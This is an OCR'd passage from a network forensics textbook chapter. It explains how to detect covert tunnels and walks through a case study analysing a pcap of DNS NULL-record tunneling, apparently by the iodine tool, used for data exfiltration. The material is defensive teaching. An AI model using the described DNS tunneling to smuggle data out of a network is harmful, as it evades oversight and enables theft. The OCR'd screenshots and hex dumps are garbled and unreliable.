It appears to be a short list of missile-related IDs with “codes” associated with each, as shown
in Figure 11-3.

There are many ways to automate this ICMP payload reassembly process. This is left
as a challenge to the reader. What creative method can you come up with?

11.3.6 Implications for the Investigator

Covert tunnels are a perpetual arms race. On the one hand, attackers (and frequently
ordinary users) seek to communicate across an organization’s perimeter without network
administrators noticing. Hackers develop new tools for this purpose and refine them over
time to be more effective at evading detection and more efficient at sending and receiving
communications.

On the other hand, defenders are constantly refining IDS signatures and developing new
ways to detect covert tunnels. Once a covert tunneling tool becomes popular, methods for
detecting its use can also be incorporated into local IDS and firewall rules.

Network forensic analysis tools typically do not include built-in functionality for ana-
lyzing known covert tunneling protocols. This may change as the field of network forensics
matures. In the meantime, detection and analysis of covert tunnels remains a huge challenge.

How can you tell if a covert tunnel exists? Strategies include:

e Statistical flow record analysis—In particular, look for unusual volumes of traffic
with unknown purpose.

e Unexpected values in protocol fields—Search for meaningful values in reserved
fields or infrequently used fields. In addition, check for unexpected values in frequently
used fields, such as nonrandomized numbers in fields that are supposed to contain
random values.

e Recognizable content in unexpected places—Keep an eye out for magic numbers,
ASCII text, honeytokens, or other signs of meaningful data in fields that normally do
not contain that type of data.
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Detecting Loki

In his excellent 1996 whitepaper, “Project Loki,” daemon9 discussed how defenders could
detect the use of his proof-of-concept ICMP tunneling tool, Loki:2°

Detection can be difficult. If you know what to look for, you may find that the
channel is being used on your system. However, knowing when to look, where
to look, and the mere fact that you *should* be looking all have to be in place.
A surplus of ICMP_ECHOREPLY packets with a garbled payload can be ready
indication the channel is in use. The standalone Loki server program can also be
a dead give-away. However, if the attacker can keep traffic on the channel down
to a minimum, and was to hide the Loki server *inside* the kernel, detection
suddenly becomes much more difficult.

NOTE: This channel exists in many other protocols. Loki [s]imply covers ICMP,
but in theory (and practice) any protocol is vulnerable to covert data tunneling.
All that is required is the ingenuity ...

Once you have detected a covert tunnel, the next challenge is to extract and reconstruct
the traffic. If forensic analysis tools do not include built-in dissectors for the tunneling
protocol under investigation, you may be left to manually analyze it and extract the contents.
Once you have a good idea as to the structure of the tunneling protocol, you may wish to
write a script to automatically reconstruct the tunneled traffic based on your own analysis.

The presence of obvious tunneled protocol headers, such as an encapsulated IP packet,
can help you figure out the structure of the tunneling protocol. If the tunneled traffic is
obfuscated or encrypted, however, then determining the tunneling protocol structure and
reconstructing content can be an enormously time-consuming effort.

11.4 Conclusion

Encapsulation is a fundamental part of a layered approach to networking. The OSI model
represents the expected order of encapsulation, but it is entirely possible to encapsulate
lower layers within higher layers, or mix things up. Any protocol can be encapsulated within
another.

Often, network tunnels are built by engineers seeking to expand the functionality of
existing equipment and software. In particular, tunnels are often used to send data across
WANSs when the Layer 2/3 protocols in use on the endpoint LANs are not compatible with
the intermediary network(s). Over time, tunneling protocols have also been developed to
provide confidentiality and integrity for communications. Attackers use tunnels to smuggle
data in and out of organizations, without anyone detecting the communications channel.

In all of these instances, tunnels pose special challenges for network forensics investiga-
tors. In an investigation involving tunneled traffic, you need to figure out not just network

25. Ibid.
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topology, but also what layers are encapsulated within other layers because the data or
transaction that you're looking for may not be where you would expect. You may find that
some or all of the tunneled traffic is encrypted, foiling plans to reconstruct tunneled traffic
or even, in some cases, determine the endpoints of tunneled traffic. In the case of covert
tunnels, detecting that the tunnel exists at all may be the biggest challenge.

In this chapter, we reviewed many common protocols used for tunneling, and also dis-
cussed mechanisms by which creative hackers have leveraged frequently used protocols for
unexpected purposes. We provided strategies and examples for detecting, analyzing, and
reconstructing tunneled traffic. Above all, network tunneling reinforces an important lesson:
Every protocol can be bent and broken, for good or ill.
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11.5 Case Study: Ann Tunnels Underground

The Case: Ann Dercover types quickly on a server at the Secret Underground Nuclear
Missle Facility, where she has just found a text file containing the super secret missile codes.
The server has no physical ports for connecting media to download the files. Ann knows the
network is being carefully monitored. Her goal is to export the missile codes over the network
without being detected.

Meanwhile ... Security analysts at the Secret Underground Nuclear Missile Facility re-
ceive an IDS alert on unusual DNS traffic. Investigating more carefully, they capture traffic
relating to the internal IP address 192.168.1.30.

Challenge: You are the forensic investigator. Your mission is to:

e Analyze the DNS traffic and determine if it is truly suspicious.
e Determine the purpose of the unusual DNS traffic.

e If the traffic is suspicious, recover as much information as possible about the local and
remote systems involved.

e Evaluate the risk that data was exfiltrated.

Network: The Secret Underground Nuclear Missile Facility network consists of three seg-
ments:

e Internal network: 192.168.1.0/24
e DMZ: 10.1.1.0/24

e The “Internet”: 172.16.0.0/12 [Note that for the purposes of this case study, we are
treating the 172.16.0.0/12 subnet as “the Internet.” In real life, this is a reserved non-
routable IP address space.]

Staff inform us the system 10.1.1.20 is the internal DNS server. Other domains and
subnets of interest include:

e .evl—A top-level domain (TLD) used by Evil systems.
e 10.4.4.0/24—Reserved nonroutable IP address space.

Evidence: You are provided with one file containing data to analyze:

e evidence-network-tunneling.pcap—A packet capture (.pcap) file containing all
traffic relating to 192.168.1.30 during the minute after the IDS alert.
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®© @ Wireshark: Protocol Hierarchy Statistic:
Display filter: none
Protocol % Packets |Packets |Bytes |Mbit}s |End Packets |End Bytes [End Mbit/s
= rame % 386 102115 0.038 0 0 0.000
~ Ethernet 386 102115 0.038 0 0 0.000

99.48 % 384 102013 0.038 0 0 0.000
99.48 % 384 102013 0.038 0 0 0.000

99.48 % 384 102013 0.038 384 102013 0.038

0.52 % 2 102 0.000 2 102 0.000

Figure 11-4. Using Wireshark's “Protocol Hierarchy Statistics” feature, we can see that
99.48% of the traffic within this packet capture is DNS over UDP (384 packets).

< Internet Protocol
= User Datagram Protocol
Domain Name Service
Address Resolution Protocol

11.5.1 Analysis: Protocol Statistics

Let’s begin by taking a high-level look at the protocols in use within this packet capture.
Using Wireshark’s “Protocol Hierarchy Statistics” feature, we can see that 99.48% of the
traffic within this packet capture is DNS over UDP (384 packets), and 0.52% is ARP traffic
(just two packets). Figure 11-4 shows the details in Wireshark.

We can also see, using Wireshark’s “capinfos” utility that the packet capture begins on
November 27, 2010, at 23:39:45, and ends just 22 seconds later at 23:40:07:

$ capinfos evidence-network-tunneling.pcap
File name: evidence -network-tunneling.pcap

File type: Wireshark/tcpdump/... - libpcap
File encapsulation: Ethernet
Number of packets: 386

File size:

Data size:
Capture duration:
Start time:

End time:

Data byte rate:
Data bit rate:

Average packet size:
Average packet rate:

108315 bytes

102115 bytes

22 seconds

Sat Nov 27 23:39:45 2010
Sat Nov 27 23:40:07 2010
4700.86 bytes/sec
37606.86 bits/sec

264 .55 bytes

17.77 packets/sec

Filtering just on traffic originating from our host of interest, 192.168.1.30, we can see that
there are 192 DNS packets originating from 192.168.1.30 in the 22-second packet capture
(43,873 bytes outbound), as shown in Figure 11-5. This is an unusually high volume of DNS
traffic within such a short time span. What’s more, there is no other traffic at all originating
from 192.168.1.30 during that time frame.

Normally, DNS traffic is used to resolve hostnames to IP addresses, for use by applications
such as web browsers, email clients, or SSH clients. As a result, it is typical to see DNS
queries and responses immediately preceding other application-layer traffic, such as HTTP.
The absence of any other type of traffic in this capture is very unusual, even given the short
time frame of the packet capture.
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Figure 11-5. Filtering for traffic originating from 192.168.1.30, we can again use Wireshark’s
“Protocol Hierarchy Statistics” feature to find that 100% of the traffic originating from the

host of interest is DNS over UDP (192 packets).

11.5.2 DNS Analysis

Display filter: ip.src —— 192.168.1.30
Protocol |% Packets |Packets |Bytes |Mbit{s |Er1d Packets |Cnd Bytes |End Mbit/s
~ Framc ) 192 43872 0.016 4] 4] 0.000
< Ethernet 192 43873 0.01& 4] ] 0.000
= Intermet Protocol 192 43873 0.016 0 0 0.000
= User Datagram Protocol 192 43873 0.016 0 0 0.000
Domain Mame Service 192 43873 0.018 192 43873 0.016
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Let’s take a closer look at this DNS traffic. Simply by opening the packet capture up in
Wireshark, we can easily see some noteworthy characteristics. In Figure 11-6, we see that
the source of the DNS queries is 192.168.1.30 (a system on the internal network) and the
destination is 10.1.1.20 (the internal DNS server). It appears that 192.168.1.30 is making

No..l lime |Source IDestination |Protocol [Info
LA
14 23:39:51.763%306 10.1.1.20 192.168.1.30 DNS Standard query response NULL
15 23:39:52 621/75 192.168.1.30 10.1.1.20 DS Standard query NULL ombbeEnPJyobGUgvGsnkyYoyhbi
16 23:39:52.652661 10.1.1.20 192.168.1.30 DS Standard query response NULL
2 56 - N e Standard MULL Paagarbj.tnl.slick.evl
18 23:39:52.656802 192.168.1.30 10.1.1.20 NS Standard guery NULL OgcbEnPJdyobGCyvGmnky Zyhbi
19 23:39:52.677067 10.1.1.20 192.168.1.30 ONS Standard query response NULL
20 23:39:52.733833  10.1.1.70 197.168.1.30  DNS standard query response MU

b Frame 17 (93 bytes on wire, 93 byles captured)
b Internel Protocol, Src: 192.168.1.30 (192.168.1.30), Dsi:
b User Dalagram Protocol, Src Porl: 33777 (33777), Dst Port:
= Domain Name Syslem (query)
[Response In: 191
Transaclion ID: O0x09a0
Flags: 0x0100 (Standard guery)
Queslions: 1
Answer RRs: O
Authorily RRs: ©
Additional RRs: 1
¥ Queries
= Paagarb).inl.slick.evl: Lype WULL, class IN
Mame: Paagarbj.tnl.slick.evl
Type: MULL (Mull resource record)
Class: IN {ox0001)
boaddltional records

-

b Ethernel II, Src: Viware_63:c9:a8 (00:0c:29:63:c9:a8), Dsl:

Vinware_38:63:95 (00:0c:29:38:63:95)
10.1.1.20 (10.1.1.20)
53 (53)

(sleeo]
0010
0020
0030
0040
(ele=a}

ET] 95 00 0o

00 40 11

oo

Figure 11-6. Using Wireshark, we can see that the source of the DNS queries is 192.168.1.30
(a system on the internal network) and the destination is 10.1.1.20 (the internal DNS server).

The Layer 7 protocol is DNS and the Type is NULL.
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repeated DNS queries multiple times a second, and these queries are being handled by the
local DNS server.

We can see in Figure 11-6 that the Layer 7 protocol in use is DNS. This is listed
in Wireshark’s Packet List pane under “Protocol.” You can also see this in the Packet
Details pane under “Domain Name System (query).” In the Packet List pane, Wireshark
shows additional information about each frame. Using frame #17 as an example, we can
see under the heading “Info” in the Packet List pane that this is a “Standard query NULL
Paaqrabj.tnl.slick.evl.” As illustrated in the Packet Details pane under “Domain Name
System (query)—Queries,” the type of this DNS query is “NULL.” The “Name” being
queried is unusual: “Paaqrabj.tnl.slick.ev].”

Filtering on the DNS “Transaction ID,” we can see the response to the DNS NULL
query from packet #17 in Figure 11-7. The “Answers” field appears to contain only 2 bytes
of information: “Oxb041.” Notice that the “Authoritative name server” for tnl.slick.evl is
“tnlh.slick.evl.” Under “Additional records,” we see that tnlh.slick.evl corresponds with the
IP address 172.16.16.220. For the moment, we will refrain from actively making requests of
this server, in case it is controlled by an attacker that is watching incoming requests.

Let’s use tcpdump to browse the traffic from the command-line:

$ tcpdump -tnn -r evidence-network-tunneling.pcap

IP 10.1.1.20.53 > 192.168.1.30.33777: 2460 1/1/2 NULL (100)

IP 192.168.1.30.33777 > 10.1.1.20.53: 2461+ [lau] NULL? Paaiarab.tnl.slick.
evl. (51)

IP 10.1.1.20.53 > 192.168.1.30.33777: 2461 1/1/2 NULL (100)

IP 192.168.1.30.33777 > 10.1.1.20.53: 2462+ [lau] NULL? Paaiarbh.tnl.slick.
evl. (51)

IP 10.1.1.20.53 > 192.168.1.30.33777: 2462 1/1/2 NULL (100)

IP 192.168.1.30.33777 > 10.1.1.20.53: 2463+ [1aul] NULL? O
mbbEnPJyobGCgvGSnKYOyhbGsO1HOUfHrgiMvBUybb6MLsDXqaec4IefbWYg.
bIywfG5wjG3UbIyZ+7hItmYmZmbagTCcQN.tnl.slick.evl. (139)

IP 10.1.1.20.53 > 192.168.1.30.33777: 2463 1/1/2 NULL (260)

IP 192.168.1.30.33777 > 10.1.1.20.53: 2464+ [laul] NULL? Paaqarbj.tnl.slick.
evl. (51)

IP 192.168.1.30.33777 > 10.1.1.20.53: 2465+ [lau] NULL? O
qcbEnPJyobGCgvGmnKYZyhbGsO01MyUfHrgiMvBUybb6MLsD+FIzIhAdaeUhZ.
LygbKzgdI3g4GVmdmXHEWf12qYV.tnl.slick.evl. (132)

IP 10.1.1.20.53 > 192.168.1.30.33777: 2464 1/1/2 NULL (100)

IP 10.1.1.20.53 > 192.168.1.30.33777: 2465 1/1/2 NULL (283)

There seem to be an awful lot of DNS NULL record queries and replies. Let’s use Linux
command-line tools to filter out the DNS NULL record traffic and see the remaining traffic:

$ tcpdump -tnn -r evidence-network-tunneling.pcap | grep -v NULL
reading from file evidence-network-tunneling.pcap, link-type EN1OMB (Ethernet

)
ARP, Request who-has 192.168.1.10 tell 192.168.1.30, length 46
ARP, Reply 192.168.1.10 is-at 00:0c:29:38:63:95, length 28

How strange! It appears that all of the DNS packets in this capture are NULL record
queries and replies. Normally, most DNS traffic consists of queries and responses for A
records, with occasional queries for NS and MX records as well. The appearance of any NULL
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Filter: |dns.id == 0x02a0 » | Expression... | Clear | Apply
No..| Time Source Destination |Prot0c0l Info
17 23:39:52.655856 192.168.1.30 10.1.1.20 DhS Standard query NULL Paagarbj.tnl.slick.evl

19 23:39:52.677067 10.1.1.20 192.1 1.30 DS Standard guery response NULL

b Frame 12 (142 bytes on wire, 142 bytes captured)
b Ethernet II, Src: Vmware_38:63:95 (00:0c:29:38:63:95), Dst: Vmware_63:c9:a8 (00:0c:29:63:c9:a8)
b Internet Protocol, Src: 10.1.1.20 (10.1.1.20), Dst: 192.168.1.30 (192.168.1.30)
b User Datagram Protocol, Src Port: 53 (53), Dst Port: 33777 (33777)
~ Domain Name System (response)
[Request In: 17]
[Time: 0.021211000 seconds]
Transaction TN: Ox0O9a0
b Flags: 0x2180 (Standard query response, No error)
Questions: 1
Answer FRs: 1
Authority Mhs: 1
additional RRs: 2
b Queries
~ ANSwWers
- Paagarbj.tnl.slick.evl: type NULL, class LN
MName: Paagarbj.tnl.slick.evl
Type: NULL (Null resource record)
Class: IN (0x0001)
Time to live: O time
Data length: 2
Data
= futhoritative nameservers
= tnl.slick.evl: type NS, class IN, ns tnlh.slick.evl
Mame: tnl.slick.evl

Type: NS (Authoritative name server)
Class: IN (0x0001)
Time to live: A& days, 232 hours, 24 minutes, 7 saconds
Data length: 7
MName server: tnlh.slick.evl
= Additional records

b tnlh.slick.evl: type A, class IN, addr 172.16.15.220

=TT oo o So—oTr oTr T oI = o= oo Us—— e
N4Af 74 e Ao OS 73 Ac B9 A3 Bh 03I AS 78 Ao 00 OO0 Da tnl.slic k.avl_ ..
050 00 01 00 Qa 0l ©CO 00 00 00 G0 02

32 17 00 07 04 74 6e 6C ........ 2....tnl

060 cO 15 00 02 00 01 G0 09
070 68 cO 19 cO 42 00 01 00 01 0O 09 32 17 00 04 ac [T = TR~ SN
JUBY 10 1D dc UV BL 29 10 DU U0 U0 BU UU U0 LR ..., ) I

Figure 11-7. Filtering on the DNS “Transaction ID,” we can see the response to the DNS
NULL query from frame #17. Notice that the “Authoritative name server” for tnl.slick.evl is
“tnlh.slick.evl.”

record request would be unusual. The fact that this DNS traffic contains nothing but NULL
requests and responses is exceedingly weird.

Notice that there are two different types of NULL queries in this capture: one for a series
of odd-looking hostnames at a suspicious-looking domain (tnl.slick.evl), and the other is for
some waaaay huge long hostname at the same suspicious domain (tnl.slick.evl). Now we’re
really intrigued.
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P Y

DNS tunnel NULL type - Google Search

'l: < )~ ;G:ﬁ' '\ X /' 'L:'ﬁ:,? - *3 [ http:/ jwww.google.com/#tg ¥ ) L\_|(_.__Z]‘ Google Qi
Web |mages Videos Maps News Shopping Gmail more v ign i

Advanced Search
Preferences

[DNS tunnel NULL type | (Search

.-------3!

Web (¥ Show options... Results 1 - 10 of about 14,200 for DNS tunnel NULL type. (0.09 seconds)

kryo.se: iodine (IP-over-DNS, IPv4 over DNS tunnel)

Compared to other DNS tunnel implementations, iodine offers: Higher performance: icdine
uses the NULL type that allows the downstream data to be sent ...

code. kryo.sefiodine/ - Cached - Similar

f- S ————

iodine: IP-over-DNS tunnel! | PenTestiT

Compared to other DNS tunnel implementations, iodine offers: Higher performance: iodine
uses the NULL type that allows the downstream data to be sent ...
pentestit.com/2009/03/22/iodine-ipoverdns-tunnel! - Cached - Similar

Figure 11-8. Searching the web using Google for the terms “DNS tunnel NULL type,” the
first result is a tool called “iodine.”

What is the purpose of these DNS NULL requests and responses? The volume of DNS
traffic produced, and the lack of any apparent legitimate purpose, raises the question of
whether this traffic might actually be a covert tunnel. DNS is a classic protocol for covertly
tunneling data because data stuffed into DNS records is often allowed to pass freely into
and out of organizations.

Based on what we’ve seen, we suspect DNS tunneling might be going on. Let’s use a
popular search engine to get more information about this strange traffic were seeing. If we
use Google to search for “DNS tunnel null type,” as shown in Figure 11-8, the first result
is a sophisticated DNS tunneling tool called “iodine.”

Recall from our earlier discussion of iodine that, by default, iodine sends traffic as “querys
of type NULL for subdomains under ‘topdomain’.”?¢ This matches the behaviors we’ve
observed (see Figure 11-9). Perhaps iodine, or a similar tool, was used to smuggle data
through DNS NULL record queries and responses.

11.5.3 Quest for Tunneled IP Packets

If it’s the case that IP packets are being somehow encapsulated and sent through these
DNS NULL records, maybe we can find a tunneled IP packet somehow. One thing to look
for is something like a “magic number” for IP packets: they commonly begin with 0x4500.
Recall from Chapter 4 that the high-order nibble of the byte at offset zero of an IP packet
represents the IP version, and the low-order nibble of Byte 0 specifies the number of 32-bit
words in the IPv4 header. IPv4 is still the most widely implemented IP protocol, and so it is
common to see the value “4” as the high-order nibble of Byte 0. The IPv4 protocol specifies

26. Erik Ekman and Bjorn Andersson, “iodine(8): Tunnel IPv4 over DNS—Linux Man Page,” 2011,
http://linux.die.net/man/8/iodine.
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e

kryo.se: iodine (IP-over-DNS, IPv4 over DNS tunnel)

[: | = '\E/' 'Z/' I\E/ (%_ http: / fcode.kryo.se/iodine ,,__, v ). '\_[G|' Google Q)

e

iodine by Kryo [ ohloh]

Released 2009-06-01: Get version 0.5.2 "WifiFree" as source tarball. Get 0.5.1 as win32 O
binaries, they are compatible and have the same features. USERS

JUSEIT

iodine lets you tunnel IPv4 data through a DNS server. This can be usable in different
situations where internet access is firewalled, but DNS queries are allowed.

It runs on Linux, Mac OS X, FreeBSD, NetBSD, OpenBSD and Windows and needs a TUN/TAP
device. The bandwidth is asymmetrical with limited upstream and up to 1 Mbit/s downstream.

Compared to other DNS tunnel implementations, iodine offers:

Higher performance
iodine uses the NULL type that allows the downstream data to be sent without encoding.
Each DNS reply can contain over a kilobyte of compressed payload data.

Portability
iodine runs on many different UNIX-like systems as well as on Win32. Tunnels can be set up
between two hosts no matter their endianness or operating system.

Security
iodine uses challenge-response login secured by MD5 hash. It also filters out any packets not
coming from the IP used when logging in.

Figure 11-9. The iodine tool uses DNS NULL records to smuggle data through a covert tunnel.

447
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that there are 20 bytes of required fields in the IPv4 header, and IP options are rarely used,
so the low-order nibble of Byte 0 in an IPv4 packet is often “5” (five 32-bit words is equal
to 20 bytes). Byte 1 of the IPv4 header is the “Type of Service” field, which is not widely
used today. As a result, most IPv4 packets carry all zeros at Byte 1. Hence, IPv4 packets

commonly begin with the value “0x4500.”

Let’s use ngrep to search for the hexadecimal value “4500” in the payload of UDP

datagrams:

$ ngrep -I evidence-network-tunneling.pcap -X "4500" -t -x 'udp'
input: evidence-network-tunneling.pcap

filter: (ip or ip6) and ( udp )

match: 0x4500

HAERBHARARR R RRRRRRRRRRRHRAR BB R R R B R R R R R BB BB BB BB BB RRRRAHRS

U 2010/11/27 23:39:54.283012 10.1.1.20:53 -> 192.168.1.30:33777

09 b6 81 80 00 01 00 01 00 01 00 02 08 50 61 62 BN Pab
61 61 72 64 72 03 74 6e 6c 05 73 6¢c 69 63 6b 03 aardr.tnl.slick.
65 76 6c 00 00 Oa 00 O1 cO0 Oc 00 0O0a 00 01 00 0O evl.. ...,
00 00 00 75 e0 al 78 da 01 68 00 97 ff 00 00 08 ...u..x. . he Ll
00 45 00 00 64 42 f4 40 00 40 06 db 95 0Oa 04 04 .E..dB.e.e. .....
02 O0a 04 04 01 00 16 a9 b8 e3 e6 la cb eb 62 7f ... b.
93 80 18 07 94 f8 c8 00 00 01 01 08 0Oa 00 03 57 P W
5d 00 03 dO 97 9b 96 62 e2 ca b6 e8 85 35 6b 7d I. ... b..... 5k

2b 17 61 51 3e 24 a7 8c 36 1c 67 92 a0 f2 b8 ba +.aQ>$..6.g....2
e6 71 bl 2e ab 31 37 7a ca 79 33 ad 19 3b 6d 88 .q...17z.y3..;m.
8f 42 3c 31 57 bf 27 25 66 cO 15 00 02 00 01 00 CBAWL AEL L

09 32 15 00 07 04 74 6e 6c 68 cO 19 cO b5 00 01 .2....tnlh. .....
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00 01 00 09 32 15 00 04 ac 10 10 dc 00 00 29 10 e 20 e ).
00 00 00 80 00 0O OO

EE:3:3:33

U 2010/11/27 23:39:54.372578 10.1.1.20:53 -> 192.168.1.30:33777
09 b9 81 80 00 01 00 O1 00 01 00 02 3d 30 61 66 e =0af
62 45 6e 4f 62 45 61 63 68 2b 57 61 61 63 61 62 bEnObEach+Waacab
66 61 61 62 2d 54 6b 6a 61 61 65 61 67 41 44 43 faab-TkjaaeagADC
6b 62 61 71 62 63 47 71 65 61 51 4d 33 61 62 42 kbagbcGgeaQM3abB
4c 79 4e 39 74 33 39 79 41 39 39 33 61 79 63 73 LyN9t39yA993aycs
64 56 62 71 61 61 61 71 65 69 63 47 61 64 2d 6b dVbqaaaqeicGad -k
43 61 61 30 44 44 47 74 55 38 39 37 32 68 57 76 Caa0DDGtU8972hWv
57 49 78 66 77 79 4d 63 72 38 4e 31 77 4e 62 6b WIxfwyMcr8N1wNbk
4e 71 4b 50 39 39 43 37 38 63 44 58 4f 64 75 39 NgKP99C78cDX0du9
6e 58 4c 43 68 43 71 36 30 6e 67 76 4b 74 31 4b nXLChCq60ngvKt1K
47 43 56 6d 47 6e 4b 33 71 4f 75 62 2d 64 67 67 GCVmGnK3qOub -dgg
61 6a 39 2d 31 56 75 32 65 59 35 6a 33 6f 04 45 aj9-1Vu2eY5j30.E
6c 4b 31 03 74 6e 6¢c 05 73 6c 69 63 6b 03 65 76 1K1.tnl.slick.ev
6c 00 00 Oa 00 01 cO Oc 00 0a 00 01 00 00 00 0O 1. e
00 85 80 c1 78 da 01 78 00 87 ff 00 00 08 00 45 R S S E
00 00 74 42 f5 40 00 40 06 db 84 0Oa 04 04 02 Oa ..tB.@.Q@.........
04 04 01 00 16 a9 b8 e3 e6 la fb e5 62 7f d3 80 P b..
18 07 94 6e 8c 00 00 01 01 08 0Oa 00 03 57 68 00 e D Wh.
03 d0 a7 b2 e7 64 5f 67 2c 31 bd d2 c6 74 ad bf .....d_g,1...t..
46 a2 f4 41 ab ec ed 48 44 74 £3 61 04 4e af 2b F..A...HDt.a.N.+
3b 33 9d ec 2b 78 28 53 e9 89 d7 b4 ae b0 Oc b2 3. +x(S. ... ...
5a 6f af ed cb fa 65 61 88 6c c6 ec c8 03 56 e7 Zo....ea.l....V.
2c 03 69 cc 18 31 4a cO c3 00 02 00 01 00 09 32 [ S N AN 2
156 00 07 04 74 6e 6¢Cc 68 cO c7 c1 73 00 01 00 O1 ....tnlh...s...
00 09 32 15 00 04 ac 10 10 dc 00 00 29 10 00 0O 2 i ) ...
00 80 00 0O OO

HHBAHAHRAHAHRAHAHRAH

U 2010/11/27 23:39:58.070519 10.1.1.20:53 -> 192.168.1.30:33777
09 c3 81 80 00 01 00 O1 00 01 00 02 3d 30 71 68 N =0qh
62 45 6e 4f 62 45 61 63 68 2b 57 61 61 63 61 62 bEnObEach+Waacab
66 61 61 62 2d 54 6b 7a 61 61 65 61 67 41 44 6d faab-TkzaaeagADm
6b 62 61 71 62 63 47 71 65 61 51 4d 33 61 62 42 kbagbcGgeaQM3abB
4c 79 4f 62 4a 33 39 79 42 77 39 33 61 79 63 73 Ly0ObJ39yBw93aycs
62 2b 31 71 61 61 61 71 65 69 63 47 61 64 2d 48 b+lqaaaqeicGad-H
53 61 61 30 4a 75 2b 4a 35 30 30 38 53 36 51 61 Saa0Ju+J5008S6Qa
4b 34 51 6a 33 44 4f 78 68 77 2d 62 55 62 4c 67 K4Qj3MOxhw-bUbLg
73 63 59 71 39 4a 76 39 32 36 65 46 6¢c 2b 79 49 scYq9Jv926eFl+yI
6b 4a 64 38 7a 35 34 51 70 36 39 56 35 58 45 4f kJd8z54Qp69VEXED
4b 35 47 6d 35 6e 47 71 4a 51 6f 57 64 58 78 37 K5Gm5nGqJQoWmXx7
50 44 66 78 56 53 4e 76 57 64 69 65 52 2d 04 75 PMfxVSNvWdieR-.u
6d 4b 4e 03 74 6e 6¢c 05 73 6¢c 69 63 6b 03 65 76 mKN.tnl.slick.ev
6c 00 00 Oa 00 01 cO Oc 00 0a 00 01 00 00 00 00 1o i
00 75 cO 01 78 da 01 68 00 97 ff 00 00 08 00 45 .u..x. . he oLl E
00 00 64 42 f7 40 00 40 06 db 92 0Oa 04 04 02 Oa ..dB.@.Q@.........
04 04 01 00 16 a9 b8 e3 e6 1b 5b e5 62 80 a3 80 F N [.b..
18 09 20 18 db 00 00 01 01 08 0a 00 03 58 db 00 e e e X..
03 d2 1b 67 2d 3f ab 7c 01 6c d2 aa a6 ac e7 eO - S T P
ce 6e 5f 7c e3 e5 e2 bc 2c ab ea 19 ab 25 be eS8 n_ oo, oo e
92 51 4d a6 b3 30 e8 46 c6 ce 42 8c a7 d3 fO 89 .QM..0.F..B. ....
3b ad 68 ad 63 29 62 cO c3 00 02 00 01 00 09 32 ;.hoc)b. oo 2
11 00 07 04 74 6e 6¢Cc 68 cO c7 c1 63 00 01 00 O1 ....tnlh...c...
00 09 32 11 00 04 ac 10 10 dc 00 00 29 10 00 0O 2 i ) ...

00 80 00 0O OO
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Ngrep produced three packets that contained the “magic number” 0x4500. Let’s examine
the first one, which was sent at 23:39:54.283012. Searching in Wireshark, we find that this

is frame #62.
Figure 11-10 shows frame #62 in Wireshark, which may contain a tunneled IPv4 packet.

The source of this packet was 10.1.1.20:53 (the local DNS server) and the destination was
192.168.1.30:33777. The Layer 7 protocol in use was DNS. As shown in Wireshark’s “Info”
column, this packet is a “Standard query response NULL,” indicating that it is a response
to an earlier DNS query from 192.168.1.30. This makes sense; since 10.1.1.20 is the local
DNS server, we would expect that 192.168.1.30 would direct DNS requests to this system.

No..| Time | Source | Destination | Protocol | Info
1309:54.225702 192.158.1.30 10.1.1.20 DONS Standard query MNULL OydbEnObAacx+Waacabfaabk
:39:54_ 2646845 10.1.1.20 192.1R8.1.30 nNS Standard query response NUI |
192.168.1.30 10.1.1.20 DNS Standard NULL Pabaardr.tnl.slick.evl
Standard query response NULL
192.168.1.30 10.1.1.20 Standard NULL Pabiardz.tnl.slick.evl

e B . PR D | O I P

P Frame 62 (257 bytes on wire, 257 bytes captured)
b Ethernet II, Src: Vmware_38:63:95 (00:0c:29:38:63:95), Dst: Vmware_63:c9:a8 (00:0c:29:63:c9:a8)
b Internet Protocol, Src: 10.1.1.20 (10.1.1.20), Dst: 192.168.1.30 (192.168.1.30)
b User Datagram Protocol, Src Port: 53 (53), Dst Port: 33777 (33777)
v Domain Name System (response)
Request In: 61]
[Time: 0.016830000 seconds]
Transaction ID: Ox0Sh&
b Flags: 0x8180 (Standard query response, No error)
Questions: 1
Answer FRs: 1
futhority RRs: 1
Additianal RRs: 2
b Queries
= Mhnswars
= Pabaardr.tnl.slick.evl: type NULL, class IN
Mame: Pabaardr.tnl.slick.evl
Type: NULL (Null resource record)
Class: IN (0x0001)
Time to live: © time
Lata length: 11/

Ul 1T OJ
00 01 00
74 Ge Gc
J Ol

10 de

Figure 11-10. Frame #62 in Wireshark, which may contain a tunneled IPv4 packet. The
“Answers" section of the DNS protocol contains the remote server’s response to a DNS NULL
query for “Pabaardr.tnl.slick.evl.”
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If 10.1.1.20 does not have the answer to the DNS query locally cached, it will recursively
query external name servers as needed and pass the response back to the internal system.

In frame #62, the “Answers” section of the DNS protocol contains the remote server’s
response to a DNS NULL query for “Pabaardr.tnl.slick.evl.” The “Data length” is listed
as 117 bytes, and the “Data” section itself is highlighted. Buried at Byte 13 (remember,
counting from 0) of the “Data” section is the magic number we were looking for, “0x4500.”
It is promising that this value appeared in the Data section of the NULL record response,
since this is where we would expect to see tunneled iodine data.

Let’s use Wireshark to export the data from the DNS NULL record response so that we
can analyze it using a hex editor. You can export in Wireshark by selecting the data bytes
and going to File—Export—Selected Packet Bytes, as shown in Figure 11-11. In this case,
we will save the exported data as “evidence-network-tunneling-62.raw.”

m Edit View Go Capture Analyze 3Statistics Telephony Tools Help
Cerl+O 30| s I - @

sk R e Qe+ T2 FE QLA @§PHE X @
Merge... ﬂ Expression.,. | Cledj_| App!yl
Llose Crrl+w -
= = - | Destinatiar | Protacal |InF.': =
2aVC CErkes 0
e ST 10.1.1.20 DNS St.?ndnr‘d query MULL Pabaardr.tnl.slick.evl L
File Set » | 3

as "Plain Text" file...

as "PostSeript” File..

as "CSV" (Conmima Separaled Values packel sumimany) File, ..
Quit Ctrl+Q | a5 " Arrays" (packet bytes) File...

ransaction ID: D096
as XML - "PSML (packel summary) file...

b Flags: 0x8180 (Standard query i I
Questions: 1 as XML - "PDML _(Pa(ket d_etalls_;_)_ ng...

Princ... Cerl+P

Answer RRs: 1 | Selecled Packel Byles... Clil+H
Authority MRs: 1 Objects »
Addit1onal RRs: 2

b Queries

v AnSwars

= pPabaardr.tnl.slick.evl: type mULL, class IN
Mane: Pabaardr.tnl_slick.evl
Tyoe: MULL (Mull resource record)
Class: IN (oxoool)
lime to live: © time
NData length: 117

b puthoritative nameservers
b pdditional records

vl 4]

Favy VTS U U SuUuur Jr 1L CEIT Ua Ul UIIs LU ao wenadal s TTasnannas
0020 ©1 18 00 35 83 fl oo df 7897 09 b6 81 BD 00 01 ...5.... Xuuuauun
0030 00010001 00020850 616261 6172647203 ....... P abaardr.
